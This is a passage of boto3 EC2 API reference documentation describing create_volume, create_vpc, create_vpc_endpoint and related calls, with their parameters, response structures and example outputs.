prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id250)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id252)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **MultiAttachEnabled** (_boolean_) -- Indicates whether to enable Amazon EBS Multi-Attach. If you enable Multi-Attach, you can attach the volume to up to 16 [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) in the same Availability Zone. This parameter is supported with io1 and io2 volumes only. For more information, see [Amazon EBS Multi-Attach](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volumes-multi.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **Throughput** (_integer_) -- + + The throughput to provision for a volume, with a maximum of 1,000 MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Attachments': [ + { + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False + }, + ], + 'AvailabilityZone': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'Encrypted': True|False, + 'KmsKeyId': 'string', + 'OutpostArn': 'string', + 'Size': 123, + 'SnapshotId': 'string', + 'State': 'creating'|'available'|'in-use'|'deleting'|'deleted'|'error', + 'VolumeId': 'string', + 'Iops': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'FastRestored': True|False, + 'MultiAttachEnabled': True|False, + 'Throughput': 123 +} + +**Response Structure** + +* _(dict) --_ + + Describes a volume. + + * **Attachments** _(list) --_ + + Information about the volume attachments. + + * _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone for the volume. + + * **CreateTime** _(datetime) --_ + + The time stamp when volume creation was initiated. + + * **Encrypted** _(boolean) --_ + + Indicates whether the volume is encrypted. + + * **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Size** _(integer) --_ + + The size of the volume, in GiBs. + + * **SnapshotId** _(string) --_ + + The snapshot from which the volume was created, if applicable. + + * **State** _(string) --_ + + The volume state. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + * **Tags** _(list) --_ + + Any tags assigned to the volume. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VolumeType** _(string) --_ + + The volume type. + + * **FastRestored** _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + * **MultiAttachEnabled** _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + +**Examples** + +This example creates an 80 GiB General Purpose (SSD) volume in the Availability Zone us-east-1a. + +response = client.create_volume( + AvailabilityZone='us-east-1a', + Size=80, + VolumeType='gp2', +) + +print(response) + +Expected Output: + +{ + 'AvailabilityZone': 'us-east-1a', + 'CreateTime': datetime(2016, 8, 29, 18, 52, 32, 0, 242, 0), + 'Encrypted': False, + 'Iops': 240, + 'Size': 80, + 'SnapshotId': '', + 'State': 'creating', + 'VolumeId': 'vol-6b60b7c7', + 'VolumeType': 'gp2', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example creates a new Provisioned IOPS (SSD) volume with 1000 provisioned IOPS from a snapshot in the Availability Zone us-east-1a. + +response = client.create_volume( + AvailabilityZone='us-east-1a', + Iops=1000, + SnapshotId='snap-066877671789bd71b', + VolumeType='io1', +) + +print(response) + +Expected Output: + +{ + 'Attachments': [ + ], + 'AvailabilityZone': 'us-east-1a', + 'CreateTime': datetime(2016, 8, 29, 18, 52, 32, 0, 242, 0), + 'Iops': 1000, + 'Size': 500, + 'SnapshotId': 'snap-066877671789bd71b', + 'State': 'creating', + 'Tags': [ + ], + 'VolumeId': 'vol-1234567890abcdef0', + 'VolumeType': 'io1', + 'ResponseMetadata': { + '...': '...', + }, +} + +create_vpc(kwargs_) + +Creates a VPC with the specified IPv4 CIDR block. The smallest VPC you can create uses a /28 netmask (16 IPv4 addresses), and the largest uses a /16 netmask (65,536 IPv4 addresses). For more information about how large to make your VPC, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can optionally request an IPv6 CIDR block for the VPC. You can request an Amazon-provided IPv6 CIDR block from Amazon's pool of IPv6 addresses, or an IPv6 CIDR block from an IPv6 address pool that you provisioned through bring your own IP addresses ([BYOIP](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-byoip.html) ). + +By default, each instance you launch in the VPC has the default DHCP options, which include only a default DNS server that we provide (AmazonProvidedDNS). For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can specify the instance tenancy value for the VPC when you create it. You can't change this value for the VPC after you create it. For more information, see [Dedicated Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-instance.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpc) + +**Request Syntax** + +response = client.create_vpc( + CidrBlock='string', + AmazonProvidedIpv6CidrBlock=True|False, + Ipv6Pool='string', + Ipv6CidrBlock='string', + DryRun=True|False, + InstanceTenancy='default'|'dedicated'|'host', + Ipv6CidrBlockNetworkBorderGroup='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the VPC, in CIDR notation. For example, 10.0.0.0/16 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +* **AmazonProvidedIpv6CidrBlock** (_boolean_) -- Requests an Amazon-provided IPv6 CIDR block with a /56 prefix length for the VPC. You cannot specify the range of IP addresses, or the size of the CIDR block. +* **Ipv6Pool** (_string_) -- The ID of an IPv6 address pool from which to allocate the IPv6 CIDR block. +* **Ipv6CidrBlock** (_string_) -- + + The IPv6 CIDR block from the IPv6 address pool. You must also specify Ipv6Pool in the request. + + To let Amazon choose the IPv6 CIDR block for you, omit this parameter. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceTenancy** (_string_) -- + + The tenancy options for instances launched into the VPC. For default , instances are launched with shared tenancy by default. You can launch instances with any tenancy into a shared tenancy VPC. For dedicated , instances are launched as dedicated tenancy instances by default. You can only launch instances with a tenancy of dedicated or host into a dedicated tenancy VPC. + + > **Important:** The host value cannot be used with this parameter. Use the default or dedicated values only. + + Default: default + +* **Ipv6CidrBlockNetworkBorderGroup** (_string_) -- + + The name of the location from which we advertise the IPV6 CIDR block. Use this parameter to limit the address to this location. + + You must set AmazonProvidedIpv6CidrBlock to true to use this parameter. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the VPC. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id255)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id257)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Vpc': { + 'CidrBlock': 'string', + 'DhcpOptionsId': 'string', + 'State': 'pending'|'available', + 'VpcId': 'string', + 'OwnerId': 'string', + 'InstanceTenancy': 'default'|'dedicated'|'host', + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + }, + 'NetworkBorderGroup': 'string', + 'Ipv6Pool': 'string' + }, + ], + 'CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'CidrBlock': 'string', + 'CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'IsDefault': True|False, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **Vpc** _(dict) --_ + + Information about the VPC. + + * **CidrBlock** _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + * **DhcpOptionsId** _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + * **State** _(string) --_ + + The current state of the VPC. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **InstanceTenancy** _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + * **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + * **CidrBlockAssociationSet** _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **IsDefault** _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + * **Tags** _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a VPC with the specified CIDR block. + +response = client.create_vpc( + CidrBlock='10.0.0.0/16', +) + +print(response) + +Expected Output: + +{ + 'Vpc': { + 'CidrBlock': '10.0.0.0/16', + 'DhcpOptionsId': 'dopt-7a8b9c2d', + 'InstanceTenancy': 'default', + 'State': 'pending', + 'VpcId': 'vpc-a01106c2', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_vpc_endpoint(kwargs_) + +Creates a VPC endpoint for a specified service. An endpoint enables you to create a private connection between your VPC and the service. The service may be provided by AWS, an AWS Marketplace Partner, or another AWS account. For more information, see [VPC Endpoints](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-endpoints.html) in the _Amazon Virtual Private Cloud User Guide_ . + +A gateway endpoint serves as a target for a route in your route table for traffic destined for the AWS service. You can specify an endpoint policy to attach to the endpoint, which will control access to the service from your VPC. You can also specify the VPC route tables that use the endpoint. + +An interface endpoint is a network interface in your subnet that serves as an endpoint for communicating with the specified service. You can specify the subnets in which to create an endpoint, and the security groups to associate with the endpoint network interface. + +A GatewayLoadBalancer endpoint is a network interface in your subnet that serves an endpoint for communicating with a Gateway Load Balancer that you've configured as a VPC endpoint service. + +Use DescribeVpcEndpointServices to get a list of supported services. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcEndpoint) + +**Request Syntax** + +response = client.create_vpc_endpoint( + DryRun=True|False, + VpcEndpointType='Interface'|'Gateway'|'GatewayLoadBalancer', + VpcId='string', + ServiceName='string', + PolicyDocument='string', + RouteTableIds=[ + 'string', + ], + SubnetIds=[ + 'string', + ], + SecurityGroupIds=[ + 'string', + ], + ClientToken='string', + PrivateDnsEnabled=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcEndpointType** (_string_) -- + + The type of endpoint. + + Default: Gateway + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC in which the endpoint will be used. + +* **ServiceName** (_string_) -- + + **[REQUIRED]** + + The service name. To get a list of available services, use the DescribeVpcEndpointServices request, or get the name from the service provider. + +* **PolicyDocument** (_string_) -- (Interface and gateway endpoints) A policy to attach to the endpoint that controls access to the service. The policy must be in valid JSON format. If this parameter is not specified, we attach a default policy that allows full access to the service. +* **RouteTableIds** (_list_) -- + + (Gateway endpoint) One or more route table IDs. + + * _(string) --_ +* **SubnetIds** (_list_) -- + + (Interface and Gateway Load Balancer endpoints) The ID of one or more subnets in which to create an endpoint network interface. For a Gateway Load Balancer endpoint, you can specify one subnet only. + + * _(string) --_ +* **SecurityGroupIds** (_list_) -- + + (Interface endpoint) The ID of one or more security groups to associate with the endpoint network interface. + + * _(string) --_ +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . +* **PrivateDnsEnabled** (_boolean_) -- + + (Interface endpoint) Indicates whether to associate a private hosted zone with the specified VPC. The private hosted zone contains a record set for the default public DNS name for the service for the Region (for example, kinesis.us-east-1.amazonaws.com ), which resolves to the private IP addresses of the endpoint network interfaces in the VPC. This enables you to make requests to the default public DNS name for the service instead of the public DNS names that are automatically generated by the VPC endpoint service. + + To use a private hosted zone, you must set the following VPC attributes to true : enableDnsHostnames and enableDnsSupport . Use ModifyVpcAttribute to set the VPC attributes. + + Default: true + +* **TagSpecifications** (_list_) -- + + The tags to associate with the endpoint. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id260)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id262)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcEndpoint': { + 'VpcEndpointId': 'string', + 'VpcEndpointType': 'Interface'|'Gateway'|'GatewayLoadBalancer', + 'VpcId': 'string', + 'ServiceName': 'string', + 'State': 'PendingAcceptance'|'Pending'|'Available'|'Deleting'|'Deleted'|'Rejected'|'Failed'|'Expired', + 'PolicyDocument': 'string', + 'RouteTableIds': [ + 'string', + ], + 'SubnetIds': [ + 'string', + ], + 'Groups': [ + { + 'GroupId': 'string', + 'GroupName': 'string' + }, + ], + 'PrivateDnsEnabled': True|False, + 'RequesterManaged': True|False, + 'NetworkInterfaceIds': [ + 'string', + ], + 'DnsEntries': [ + { + 'DnsName': 'string', + 'HostedZoneId': 'string' + }, + ], + 'CreationTimestamp': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string', + 'LastError': { + 'Message': 'string', + 'Code': 'string' + } + }, + 'ClientToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateVpcEndpoint. + + * **VpcEndpoint** _(dict) --_ + + Information about the endpoint. + + * **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + * **VpcEndpointType** _(string) --_ + + The type of endpoint. + + * **VpcId** _(string) --_ + + The ID of the VPC to which the endpoint is associated. + + * **ServiceName** _(string) --_ + + The name of the service to which the endpoint is associated. + + * **State** _(string) --_ + + The state of the VPC endpoint. + + * **PolicyDocument** _(string) --_ + + The policy document associated with the endpoint, if applicable. + + * **RouteTableIds** _(list) --_ + + (Gateway endpoint) One or more route tables associated with the endpoint. + + * _(string) --_ + * **SubnetIds** _(list) --_ + + (Interface endpoint) One or more subnets in which the endpoint is located. + + * _(string) --_ + * **Groups** _(list) --_ + + (Interface endpoint) Information about the security groups that are associated with the network interface. + + * _(dict) --_ + + Describes a security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **PrivateDnsEnabled** _(boolean) --_ + + (Interface endpoint) Indicates whether the VPC is associated with a private hosted zone. + + * **RequesterManaged** _(boolean) --_ + + Indicates whether the VPC endpoint is being managed by its service. + + * **NetworkInterfaceIds** _(list) --_ + + (Interface endpoint) One or more network interfaces for the endpoint. + + * _(string) --_ + * **DnsEntries** _(list) --_ + + (Interface endpoint) The DNS entries for the endpoint. + + * _(dict) --_ + + Describes a DNS entry. + + * **DnsName** _(string) --_ + + The DNS name. + + * **HostedZoneId** _(string) --_ + + The ID of the private hosted zone. + + * **CreationTimestamp** _(datetime) --_ + + The date and time that the VPC endpoint was created. + + * **Tags** _(list) --_ + + Any tags assigned to the VPC endpoint. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC endpoint. + + * **LastError** _(dict) --_ + + The last error that occurred for VPC endpoint. + + * **Message** _(string) --_ + + The error message for the VPC endpoint error. + + * **Code** _(string) --_ + + The error code for the VPC endpoint error. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. + + +create_vpc_endpoint_connection_notification(kwargs_) + +Creates a connection notification for a specified VPC endpoint or VPC endpoint service. A connection notification notifies you of specific endpoint events. You must create an SNS topic to receive notifications. For more information, see [Create a Topic](https://docs.aws.amazon.com/sns/latest/dg/CreateTopic.html) in the _Amazon Simple Notification Service Developer Guide_ . + +You can create a connection notification for interface endpoints only. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcEndpointConnectionNotification) + +**Request Syntax** + +response = client.create_vpc_endpoint_connection_notification( + DryRun=True|False, + ServiceId='string', + VpcEndpointId='string', + ConnectionNotificationArn='string', + ConnectionEvents=[ + 'string', + ], + ClientToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceId** (_string_) -- The ID of the endpoint service. +* **VpcEndpointId** (_string_) -- The ID of the endpoint. +* **ConnectionNotificationArn** (_string_) -- + + **[REQUIRED]** + + The ARN of the SNS topic for the notifications. + +* **ConnectionEvents** (_list_) -- + + **[REQUIRED]** + + One or more endpoint events for which to receive notifications. Valid values are Accept , Connect , Delete , and Reject . + + * _(string) --_ +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ConnectionNotification': { + 'ConnectionNotificationId': 'string', + 'ServiceId': 'string', + 'VpcEndpointId': 'string', + 'ConnectionNotificationType': 'Topic', + 'ConnectionNotificationArn': 'string', + 'ConnectionEvents': [ + 'string', + ], + 'ConnectionNotificationState': 'Enabled'|'Disabled' + }, + 'ClientToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ConnectionNotification** _(dict) --_ + + Information about the notification. + + * **ConnectionNotificationId** _(string) --_ + + The ID of the notification. + + * **ServiceId** _(string) --_ + + The ID of the endpoint service. + + * **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + * **ConnectionNotificationType** _(string) --_ + + The type of notification. + + * **ConnectionNotificationArn** _(string) --_ + + The ARN of the SNS topic for the notification. + + * **ConnectionEvents** _(list) --_ + + The events for the notification. Valid values are Accept , Connect , Delete , and Reject . + + * _(string) --_ + * **ConnectionNotificationState** _(string) --_ + + The state of the notification. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. + + +create_vpc_endpoint_service_configuration(kwargs_) + +Creates a VPC endpoint service configuration to which service consumers (AWS accounts, IAM users, and IAM roles) can connect. + +To create an endpoint service configuration, you must first create one of the following for your service: + +* A [Network Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/latest/network/introduction.html) . Service consumers connect to your service using an interface endpoint. +* A [Gateway Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/latest/gateway/introduction.html) . Service consumers connect to your service using a Gateway Load Balancer endpoint. + +For more information, see [VPC Endpoint Services](https://docs.aws.amazon.com/vpc/latest/userguide/endpoint-service.html) in the _Amazon Virtual Private Cloud User Guide_ . + +If you set the private DNS name, you must prove that you own the private DNS domain name. For more information, see [VPC Endpoint Service Private DNS Name Verification](https://docs.aws.amazon.com/vpc/latest/userguide/endpoint-services-dns-validation.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcEndpointServiceConfiguration) + +**Request Syntax** + +response = client.create_vpc_endpoint_service_configuration( + DryRun=True|False, + AcceptanceRequired=True|False, + PrivateDnsName='string', + NetworkLoadBalancerArns=[ + 'string', + ], + GatewayLoadBalancerArns=[ + 'string', + ], + ClientToken='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **AcceptanceRequired** (_boolean_) -- Indicates whether requests from service consumers to create an endpoint to your service must be accepted. To accept a request, use AcceptVpcEndpointConnections . +* **PrivateDnsName** (_string_) -- (Interface endpoint configuration) The private DNS name to assign to the VPC endpoint service. +* **NetworkLoadBalancerArns** (_list_) -- + + The Amazon Resource Names (ARNs) of one or more Network Load Balancers for your service. + + * _(string) --_ +* **GatewayLoadBalancerArns** (_list_) -- + + The Amazon Resource Names (ARNs) of one or more Gateway Load Balancers. + + * _(string) --_ +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For 